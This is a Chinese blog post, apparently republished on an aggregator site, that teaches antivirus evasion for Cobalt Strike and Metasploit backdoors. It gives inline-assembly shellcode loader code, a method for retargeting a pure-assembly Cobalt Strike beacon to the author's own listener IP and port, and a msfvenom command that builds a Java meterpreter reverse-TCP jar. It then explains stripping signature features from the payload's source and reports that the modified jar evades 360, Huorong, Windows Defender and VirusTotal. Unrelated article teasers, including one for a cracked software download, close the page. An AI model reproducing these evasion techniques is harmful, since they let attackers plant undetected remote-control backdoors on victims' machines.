免杀对抗—javaASMMSF源码特征修改汇编调用CS内联C

前言

今天讲最后的两个语言java和汇编,那么基本所有语言就讲了一个遍了。java在后门免杀这一块呢其实是有点鸡肋的,其它语言编译成的是exe,而java编译成的是jar包,而jar包又得有java环境才能运行,不像exe是个电脑都行。虽说jar包可以转变成exe,但是过程相当麻烦,而且实际利用不太现实,这是因为java的语言特性决定的。汇编相对java来说好一点,但是汇编太底层了,而且网上关于汇编的资料比较少,你想系统学习的难度是比较大的,我只是仅仅懂一点点,所以介绍汇编的时候不会讲太多汇编的知识,基本都是拿别人的源码来用。

实验环境

360,火绒,WD,VT。

内联C混编

这个前面我们讲C++的时候是有讲过一点的,其实就是C和汇编的混合使用。比如说下面这个,就是一个典型的用C调用汇编代码来加载shellcode,当然这个没啥用,直接被杀掉了。

int main() {__asm {lea eax, bufcall eax}
}

今天就讲一个更为复杂一点的混编,可以看到加载方式明显不一样了,其实就是把上面的功能用更多的代码来取代。

int main() {LPVOID lp = GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualAlloc");size_t dw_size = sizeof(buf);void* exec = NULL;__asm{push 0x40; //可读可写可执行页参数入栈push 0x1000; //MEM_COMMIT参数值入栈mov eax, dw_size; //定义空间大小push eax; //将空间大小入栈push 0; //由系统自行决定内存空间起始地址入栈mov eax, lp; //移动到virtualAlloc函数地址call eax; //运行该函数mov exec, eax;//调用地址}LPVOID op = GetProcAddress(LoadLibraryA("kernel32.dll"), "RtlMoveMemory");__asm{mov eax, dw_size;push eax;lea eax, buf;push eax;mov ecx, exec;push ecx;mov eax, op;call eax;}__asm{jmp exec;}return 0;
}

直接测试一下效果吧,火绒被查杀了。

WD又查杀到了。

360也查杀到了。

说明效果还是不行,还得写,不过呢今天的重点也不是这个。

汇编调用CS

我们可以先看一篇大佬的文章,虽然是两年前的文章了,但我们可以学习其中的思路。

奇安信攻防社区-编译汇编代码实现免杀 (butian.net)

正常来说的我们shellcode上线的流程是,生成shellcode—>语言加载运行shellcode—>编译exe运行上线。但是这篇文章的思路呢就是直接跳过了第一步,也就是我不生成shellcode,我已经提前分析好CS上线的原理,然后用汇编代码编写,利用CS的上线原理将shellcode上线。举个例子,国家发行货币—>你有了货币—>使用货币购买东西,但是现在我不需要国家发行货币了,因为我自己知道货币制作的原理和工艺,那么我自己根据原理和工艺去把普通的纸弄成货币去买东西。

从文章可以看到代码全是汇编编写的,要想完全搞懂代码的意思是很难的,要求你有扎实的汇编基础,我们只需知道怎么利用代码即可。

我们关注一下这个代码,从注释中我们可以知道这是IP地址解密,从代码中可以知道是把func5_param这个变量压入栈中。

我们找一下func5_param这个变量,这一串估计就是汇编编写的IP地址了。

这应该是加密过的,因为下面有解密的操作,所以直接转10进制是不行的。我们可以把它编译成exe,然后运行起来看它的进程连接情况,文章说使用masm32这个ida进行编译,在masm32/bin目录下执行文章给的命令即可。

ml /c /coff /Cp 1.asm                #编译为obj文件link /subsystem:windows 1.obj        #生成exe文件

第一条命令执行后会生成一个1.obj文件。

执行第二条命令生成exe。

我们现在直接运行1.exe来查看它一个连接情况,我们可以看到它是连接到了10.130.4.204的82端口。

结合刚刚汇编代码看到的加密之后的IP,我们不妨大胆猜想一下规律。

利用我们发现的规律,对IP192.168.80.134进行加密然后替换源代码的IP,并且在192,168,80,128主机进行监听82端口,看看是否有连接,记得末尾加00h。

可以看到是成功连接到的了,只不过我这里显示的是计算机名DESKTOP—7FMQMK6而已.

现在IP的问题解决了,再来看看端口的代码,关注这个push语句,把52h这个值压入栈,而且注释也说了是端口,52从16进制转为10进制就是82,和我们刚刚的连接端口对得上。

那么现在把IP改为CS监听的地址,端口改为监听端口不就可以实现上线CS了吗。

还有一点要注意,这里的协议走的是HTTP,我们监听器也要选择http,或者改一下源码。

编译成exe执行,成功上线CS。

测试一下免杀性,WD过不了

火绒静态查杀能过,也可运行上线,但是只要执行命令有交互行为就被查杀了。

360能查杀到。

其实汇编的免杀效果是最好的,因为它是个底层的语言,而且这里源码并没有存在shellcode和加载器,它是分析了CS的上线原理,然后用纯汇编编写的一个代码。至于为啥这里的免杀效果不好,那是因为这是两年前的文章了,现在都2024年了,黄花菜都凉啦。只不过我们可以学习这个思路,然后自己用汇编编写,但是恕我无能为力了,汇编真滴太难了。

Java

说实话这个其实没啥太大的作用,因为Java是个开发语言,打包成的是jar包不是exe。

原生态

先试试原生态的,这里我用MSF生成的jar文件,因为CS生成的是shellcode,不支持生成jar。

msfvenom -p java/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxxx -f jar -o msf.jar

输入命令直接上线,免杀性不用说,三个都杀了。

java -jar msf.jar

那么现在就是两种情况,一种是对方有Java环境,那么我们就直接上传jar包,如果对方没有Java环境那么我们就把jar包再次打包成exe。所以就有两个思路,一是直接对jar包免杀,二是对打包成的exe进行免杀。

MSF特征源码修改

我们利用jd-gui这个工具对我们的jar包进行反编译,这个是专门反编译class文件的,也可以利用IDA。

反编译后保存,我们来分析一下源码。

可以看到metasploit.dat文件里面保存的是我们的监听端口和监听地址。

MANIFEST.MF文件里面应该是配置文件,版本是1.0,Main-Class呢就是主函数入库指向metasploit.Payload,权限是所有权限,名字是metasploit.dat,指向metasploit/Payload.class。

再看payload.java这个文件,有个main函数,jar包运行就进入里面执行代码。被杀的原因就是无论你咋生成,它反编译后的源码都是一个套路的,所以我们要去改掉它的源码特征。

首先改文件名字,metasploit这个名字傻子都能看出来不是啥好玩意,我们把里面的payload.java这个文件拖出来改为Main.java,把metasploit这个文件夹去掉,metasploit.dat里面的内容去掉,改为config。

MANIFEST.MF配置文件修改如下,test应该是config的,我懒得再截图了。

接下来就是test2.java的源码修改,就是把一些可有可无的代码删除,还有一些文件名替换为我们刚刚修改的文件名。

我们可以看这一部分代码,new Socket新建了一个socket隧道,IP为str4,端口为j。

 我们追踪一下 str4 和 j 这两个参数,可以看到它们的值都是从properties 对象中通过getProperty方法获取的。

继续追踪一下properties这个对象,可以看到properties的值是从inputStream中读取的,而inputStream的值是读取了metasploit.dat文件,这个文件里面的内容就是IP和端口。

由于这涉及了Java方面的开发知识,再加上我不是很懂Java,所以我就直接用别人替换好的源码了,直接修改IP和端口就能用了。

值得注意的是Integer(string)这个函数已经被Java标记为过时了,2022年还可以用,现在随着JDK版本越来越高,已经用不了了,要改为这样写法。

int j = Integer.parseInt("6688");

输入命令封装成class文件,只有class文件才能打包成jar。

javac Main.java

接下来是编译成jar包,在编译成jar包的时候,报了个错,大概的意思是我打包成class文件的环境是java22,但是运行环境只支持java8,然后又更新了java环境,所以就有点麻烦。

jar cvfm wlw.jar META-INF/MANIFEST.MF .

运行起来能接收到,但是不知道为啥会话马上就结束了,我又测试了一下原生态上线也不行,说明不是我们生成的jar包的问题,奇怪明明昨天还行的。

免杀效果还是可以的,360、火绒、WD均没有查杀出来,VT居然没有报。


jar打包成exe

说实话这个其实不太现实,而且很麻烦,用到exe4j和innosetup-6.2.1这两个工具,可以看一下下面博客的文章,说实话,里面有教程,自己照着打包就行,因为是在麻烦且鸡肋我就不搞了。

链接:Java jar打包成exe应用程序的详细步骤_java_脚本之家

总结

基本常见的语言都讲了一遍了,其中提到的技术无论是哪种语言都是通用的,只要你可以把它写得出来。不难看出修改源码特征的免杀效果是比较好的,还有就是不公开或者自己写的shellcode加密脚本,总之无论是对shellcode修改还是加载器,亦或是源码的修改,最终的目的都只是去除后门的特征,逃过杀软。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/440487.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++ : STL容器之string剖析

STL容器之string剖析 一、string 的迭代器(一)起始迭代器(二)末尾迭代器(三)反向迭代器 二、容量相关的函数(一)size(二)capacity(三)…

【java】数据类型与变量以及操作符

各位看官:如果您觉得这篇文章对您有帮助的话 欢迎您分享给更多人哦 感谢大家的点赞收藏评论,感谢您的支持!!! 目录 一.字面变量: 二:数据类型 1.1:int类型:&#xff0…

无人机(自组穿越机,航模)-芯片选型

飞控MCU: 型号尺寸子型号参数规格备注STM325*532位ARM Cortex-M3 CPU,72MHz,256KB Flash,20KB RAMLQFP 48F33*332位ARM Cortex-M4 CPU,72MHz,256KB Flash,40KB RAMMPU6050F45*532位ARM Cortex-M4 CPU&…

github学生认证(Github Copilot)

今天想配置一下Github Copilot,认证学生可以免费使用一年,认证过程中因为各种原因折腾了好久,记录一下解决方法供大家参考。 p.s.本文章只针对Github学生认证部分遇到的问题及解决方法,不包括配置copilot的全部流程~ 1、准备工作…

如何使用ssm实现基于Java的校园二手物品交易平台的设计与实现+vue

TOC ssm789基于Java的校园二手物品交易平台的设计与实现vue 绪论 1.1 研究背景 在这个推荐个性化的时代,采用新技术开发一个校园二手物品交易平台来分享和展示内容是一个永恒不变的需求。本次设计的校园二手物品交易平台有管理员,商家,用…

Git大框架总结

下面首先是我对于git的一个小总结,主要是大框架 首先是四区,因为大部分你所有的工作都是在这四个区里的实现的,包括要提交一个东西,是先是在工作区修改,后用add添加到暂存区,后提交到本地仓库,当…

系统架构设计师论文《论企业应用系统的分层架构风格》精选试读

论文真题 软件架构风格是描述一类特定应用领域中系统组织方式的惯用模式,反映了领域中诸多系统所共有的结构特征和语义特征,并指导如何将各个模块和子系统有效组织成一个完整的系统。分层架构是一种常见的软件架构风格,能够有效简化设计&…

基于WxJava框架的集客微信公众号的设计与实现(项目运行说明)

项目运行说明 数据库 系统采用MySQL数据库和Redis数据库,读者可参考在码云项目(code/yok/src/main/resources)中的application.yml中自行配置MySQL数据库,在redis.properties中配置Redis。 数据库表的创建语句在yok项目中的create_dataBase.sql文件中。 项目启动 后端项目…

JAVA思维提升

利用java做一个双色球彩票系统 要求 package ZY; import java.util.Random; import java.util.Scanner; public class Test9双色球 { //目标:模拟双色球//规则投注号码由6个红色球号码和1个蓝色球号码组成。红色球号码从1-33中选择;蓝色球号码从1-16中选择。publi…

ElasticSearch备考 -- Alias

一、题目 1) Create the alias hamlet that maps both hamlet-1 and hamlet-2 Verify that the documents grouped by hamlet are 8 2) Configure hamlet-3 to be the write index of the hamlet alias 二、思考 可以通过指定别名,来指向一个或多个索引&#xff0c…

Java环境配置

下载安装JDK 选择长期稳定的版本jdk-21 安装 安装好之后查看bin目录,里面存放了各种工具命令,有比较重要的javac和java。 javac.exe 是 Java 编译器,用于将 Java 源代码(.java 文件)编译成字节码(.class…

白嫖EarMaster Pro 7简体中文破解版下载永久激活

EarMaster Pro 7 简体中文破解版功能介绍 俗话说得好,想要成为音乐家,就必须先拥有音乐家的耳朵,相信很多小伙伴都已经具备了一定的音乐素养,或者是说想要进一步得到提升。那我们就必须练好听耳的能力,并且把这种能力…

[C语言]指针和数组

目录 1.数组的地址 2.通过指针访问数组 3.数组和指针的不同点 4.指针数组 1.数组的地址 数组的地址是什么&#xff1f; 看下面一组代码 #include <stdio.h> int main() { int arr[5] {5,4,3,2,1}; printf("&arr[0] %p\n", &arr[0]); printf(&qu…

使用C语言进行图形化编程:从入门到实践的全面指南

1. 引言 随着技术的进步和个人电脑性能的提升&#xff0c;图形用户界面&#xff08;Graphical User Interface, GUI&#xff09;已经成为软件开发的重要组成部分。尽管C语言本身并不直接支持GUI编程&#xff0c;但借助各种库和框架&#xff0c;C语言也能成为创建功能强大且美观…

嵌入式硬件设计

嵌入式硬件设计是指针对嵌入式系统&#xff08;一种专用的计算机系统&#xff0c;通常嵌入到其他设备中&#xff09;进行的硬件设计工作。嵌入式系统广泛应用于消费电子、工业控制、医疗设备、汽车电子、航空航天等领域。以下是嵌入式硬件设计的主要内容和步骤&#xff1a; 1.…

【unity游戏开发】彻底理解AnimatorStateInfo,获取真实动画长度

前言 前置知识&#xff1a;设置参数后&#xff0c;下一个循环才会切换对应动画&#xff0c;所以在下一个循环获取真实的动画长度 AnimatorStateInfo是结构体&#xff01;值类型&#xff0c;要不断重复获取才是最新的 主要是自动设置trigger切换的动画自动切回上一个动画&#x…

域名劫持怎么处理?如何判断dns是否被劫持

随着网络环境的日益复杂&#xff0c;网站安全问题也日益凸显。域名劫持怎么处理&#xff1f;域名劫持是网站运营中不容忽视的安全威胁&#xff0c;在遇到域名劫持的时候应该学会应急响应、加强安全防护措施以及持续的安全维护&#xff0c;我们可以有效降低其带来的风险。 域名劫…

时间序列顶会一网打尽!时间序列基础模型的最新进展!

前言 最近时间序列基础模型领域&#xff0c;迎来了里程碑式的突破。 TimeGPT作为首个原生基础模型&#xff0c;于去年八月问世&#xff0c;一发布就震撼了预测领域。 众多其他基础模型也相继发布&#xff0c;包括但不限于&#xff1a; TimesFM MOIRAI Tiny Time Mixers&am…

鸿蒙next开发者第一课02.DevEcoStudio的使用-习题

【习题】DevEco Studio的使用 通过/及格分80/ 满分100 判断题 1. 如果代码中涉及到一些网络、数据库、传感器等功能的开发&#xff0c;均可使用预览器进行预览。F 正确(True)错误(False) 预览器不能进行传感器等特殊功能的开发,需要使用真机开发 2. module.json5文件中的…

C++ 观察者模式

观察者模式&#xff08;Observer Pattern&#xff09;是一种行为设计模式&#xff0c;用于在对象之间建立一对多的依赖关系&#xff0c;当一个对象的状态发生变化时&#xff0c;它的所有依赖对象都会得到通知并自动更新。 在观察者模式中&#xff0c;主题和观察者之间是松耦合…